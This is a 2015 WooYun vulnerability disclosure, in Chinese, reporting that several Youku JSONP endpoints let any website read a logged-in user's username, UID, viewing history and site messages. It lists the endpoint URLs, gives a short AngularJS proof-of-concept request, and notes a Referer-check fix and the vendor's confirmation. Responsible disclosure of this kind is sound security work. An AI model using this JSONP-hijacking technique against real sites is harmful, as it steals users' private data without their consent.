当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101790

漏洞标题：优酷网多个接口可跨域获取用户帐号敏感信息（用户名/播放记录/站内信等）

相关厂商：优酷

漏洞作者： 万能药店

提交时间：2015-03-17 10:24

修复时间：2015-05-01 11:30

公开时间：2015-05-01 11:30

漏洞类型：敏感信息泄露

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-17： 厂商已经确认，细节仅向厂商公开
2015-03-27： 细节向核心白帽子及相关领域专家公开
2015-04-06： 细节向普通白帽子公开
2015-04-16： 细节向实习白帽子公开
2015-05-01： 细节向公众公开

简要描述：

JSONP接口未过滤导致用户信息泄露

详细说明：

漏洞URL1（泄露用户名,UID）：

http://nc.youku.com/index_QSideToolJSONP?function[]=getUserInfo&callback[]=SideTool.showUserMsgCallback


漏洞URL2 （泄露用户名,UID）：：

http://nc.youku.com/index_QSideToolJSONP?function[]=getUserBasicInfo&callback[]=SideTool.upUserImg


youku2.jpg


漏洞URL3（泄露观看视频记录）：：

http://nc.youku.com/index_QSideToolJSONP?function[]=viewRecord&callback[]=SideTool.showRecordListCallback


漏洞URL4（泄露站内信）：

http://nc.youku.com/index_QSideToolJSONP?function[]=getNoticeInfo&callback[]=SideTool.showNoticeListCallback


以上JSONP接口未加校验，导致任意网站即可获取优酷网当前登录用户信息，包括UID,用户名，观看时长,浏览习惯等信息。
有两种利用方式：
1. 泄露用户隐私，收集用户信息，用于广告定向；
2. 将用户ID信息与其它网站信息关联，构造出用户视频浏览习惯画像。

漏洞证明：

以下是访问测试网站后获取到优酷网当前登录用户信息：

youku.jpg


$http.jsonp("http://nc.youku.com/index_QSideToolJSONP?function[]=getUserInfo&callback[]=JSON_CALLBACK");
 $scope.test = function() {
        mnmAPIService.youku().
          success(function(data) {
            console.log('++++++++++++++++++++++++++++++++++');
            $scope.youkuInfo = data;
            console.log(JSON.stringify($scope.youkuInfo));
          }).
          error(function (data) {
            console.log('+++++++++++++++++error+++++++++++++++++');
            console.log(data);
          });;
       
    };


简单写个页面发送JSOP请求，即可获取优酷网用户信息。

修复方案：

增加Referer校验

版权声明：转载请注明来源 万能药店@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-03-17 11:28

厂商回复：

多谢提醒！

最新状态：

暂无